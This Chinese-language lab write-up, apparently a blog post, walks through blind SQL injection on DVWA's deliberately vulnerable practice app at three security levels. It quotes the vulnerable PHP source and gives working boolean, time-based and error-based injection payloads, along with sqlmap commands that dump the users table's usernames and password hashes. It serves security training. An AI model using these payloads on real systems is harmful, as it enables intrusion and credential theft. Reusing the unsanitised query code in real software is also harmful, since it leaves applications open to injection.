目录
1、级别:Low
1.1 判断是否存在注入及注入的类型(基于布尔SQL盲注)
??1.2 猜数据库名
1.3 猜表名?
1.4 猜列名
1.5 猜字段值
?1.6 直接sqlmap爆库
2、级别:Medium
3、级别:High
?
盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。盲注分为三类:基于布尔SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。
盲注思路步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True (页面)和False (页面)。 这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。?
常用函数
if() 功能:条件判断。 语法格式:if(expr1,expr2,expr3):expr1为true则返回expr2,expr1为false则返回expr3。 注:仅MySQL支持if(expr1,expr2,expr3)。
left() 功能:截取具有指定长度的字符串的左边部分。 语法格式:left(str,length),如果str或length参数为NULL,则返回NULL值。 参数说明 str:要提取子串的字符串。 length:正整数,指定将从左边返回的字符数。length为0或为负,则LEFT返回一个空字符串 length大于str字符串的长度,则leftO返回整个str字符串。
length() 功能:返回字符串的长度,以字节为单位。 语法格式:length(str)
substr()、substring() 功能:从指定的位置开始,截取字符串指定长度的子串。 语法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)substring(str,pos,len) 参数说明 str:要提取子串的字符串。 pos:提取子串的开始位置 len:指定要提取的子串的长度
ascii()、ord() 功能:返回字符串最左边字符的ASCII码值 语法格式:ascii(str),ord(str)
cast()、convert() 功能:获取一个类型的值,并产生另一个类型的值。 >语法格式:cast(value as type),convert(value,type)
?基于时间的SQL盲注又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据
sleep() 功能:让语句延退执行一段时间,执行成功后返回0。 语法格式:sleep(N),即延退执行N秒。
benchmark() 功能:让某语句执行一定的次数,执行成功后返回0。 语法格式:benchmark(coun,texpr),即让expr执行count次 注:仅MySQL支持该函数。
基于报错的SQL盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名等?
直接使用报错:' union select 1,count(*),concat('/',(select @@datadir),'/',floor(rand(0)*2))a from information_schema.columns group by a--+
利用xpath函数—extractvalue报错:' and extractvalue(1,concat(0x7e,(select database()),0x73))--+
利用xpath函数—updatexml报错:' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
利用数据重复性报错:' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x--+
参考:DVWA——SQL Injection Blind(SQL盲注) - 戚源 - 博客园?
1、级别:Low
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
?代码并没有对参数id做任何的过滤
1.1 判断是否存在注入及注入的类型(基于布尔SQL盲注)
输入1asdf,返回User ID exists in the database,无报错证明是字符型的

输入1',返回User ID is MISSING from the database,证明是单引号闭合

??输入? 1' and 1=1 # ,输出 exists
?
?输入?1' and 1=2 # ,输出 MISSING,证明存在注入
?
??1.2 猜数据库名
?利用length()函数猜出数据库名的长度,1'? and length(database())=4 #,不报错,数据库名的长度为4

?然后用ascii()函数和substr()函数,采用二分法猜数据库的名字。
输入1' and ascii(substr(database(),1,1))>90 #,显示存在,说明数据库名的第一个字符的ascii值大于90;
?输入1' and ascii(substr(database(),1,1))<110 #,显示存在,说明数据库名的第一个字符的ascii值小于110;
?输入1' and ascii(substr(database(),1,1))=100 #,显示存在,ASCII的表去找对应的字母为d
?输入1' and ascii(substr(database(),2,1))>90 # 找第二个字母
重复以上步骤,得到库名为dvwa
1.3 猜表名?
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,输出exists?
所以一共有两个表,我们先猜第一个表的长度
输入:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING
使用二分法?1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,输出?exists
直到—— ?1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,输出 exists,即第一个表名称字符长为9。
现在猜第一个表的第一个字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
直到——?1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,即对应的字母为g
然后我们再去猜其他的8个字母,为u、e、s、t、b、o、o、k,该表名即为guestbook。
同理猜第二个表的名字,users
1.4 猜列名
就直接拿 users表为例了。
先猜表中的字段数目1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # ? (中间步骤省略了) 数目为 8
猜user表各个名称,按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含键信息的字段,如:用户名、密码...
【猜想】数据库中可能保存的字段名称 用户名:username/user_name/uname/u_name/user/name/... 密码:password/pass_word/pwd/pass/...
所以说我们的命令就可以是?1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #,输出exists
?1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #,输出exists
所以我们可以知道 users表中有 user和password。还可以试试别的
1.5 猜字段值
同样使用二分法来做,直接写最后一步了:
用户名的字段值:1' and length(substr((select user from users limit 0,1),1))=5 #,输出exists
——说明user字段中第1个字段值的字符长度=5。
密码的字段值:1' and length(substr((select password from users limit 0,1),1))=32 #,
——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)
然后再使用二分法猜解user字段的值:(用户名)
1' and ascii(substr((select user from users limit 0,1),1,1))=xxx #(第一个字符)
1' and ascii(substr((select user from users limit 0,1),2,1))=xxx #(第二个字符)? ? ? ? ? ? ? ? ? ?
……
猜解password字段的值:(密码)
1' and ascii(substr((select password from users limit 0,1),1,1))=xxx #(第一个字符)
……
?1.6 直接sqlmap爆库
手工盲注的时间耗费太大,我们可以直接使用sqlmap进行爆库
通过增加--technique参数指定注入技术,B表示布尔盲注

?下面的命令可以得到系统中所有数据库
python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --technique B -dbs
注意一定要用双引号,url不用引号或者用单引号的时候,会报如下错误。如果cookie不用双引号会跳转到登录页面:不用引号会识别不到cookie的设置,用单引号的时候会问要不要合并网站新提供的cookie和sqlmap设置的cookie。
?

命令行输入以下命令,得到当前数据库
python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --current-db
?
命令行输入以下命令,得到数据库dvwa的所有表
python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --tables -D dvwa

?命令行输入以下命令,得到数据库dvwa表users的所有列
python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --columns -D dvwa -T users

?命令行输入以下命令,得到user和password字段的值
python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --dump -D dvwa -T users -C "user,password"

?方法二:基于时间盲注
1.判断是否存在注入,注入是字符型还是数字型
输入1' and sleep(5) #,感觉到明显延迟;
输入1 and sleep(5) #,没有延迟;
说明存在字符型的基于时间盲注。
2.猜解当前数据库名
(前面猜的方法都有,直接给结果了):1' and if(length(database())=4,sleep(5),1) # 明显延迟,说明数据库名长度为4个字符。
然后二分法猜数据库名:1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)# 明显延迟,说明数据库第一个字符为 d。
重复上述步骤,可猜出数据库名为 dvwa
3.猜解数据库中的表名
首先猜解数据库中表的数量:1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# ,说明有两个表
然后猜第一个表名长度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,说明第一个表名长度为9
采用二分法即可猜解出表名。
4.猜解表中的列名
还是先猜users表中的列的数量:1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# ,明显延迟,说明有8个列
然后猜第一个列名的长度:1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟,说明第一个列名为7个字符
再用二分法猜解
5.猜解数据
同样采用二分法来猜解,上面有过程。
2、级别:Medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
?这里跟上一篇sql注入差不多,这里利用bp抓包在修改id的值,id值输入的步骤跟low级别差不多,这里就不再赘述了。
3、级别:High

看一下源码
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
?可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。
同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。但是我们可以通过#将其注释掉。
和前面的SQL注入一样,但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只能使用基于布尔的盲注。
具体参考Low级别的注入步骤
?
?
|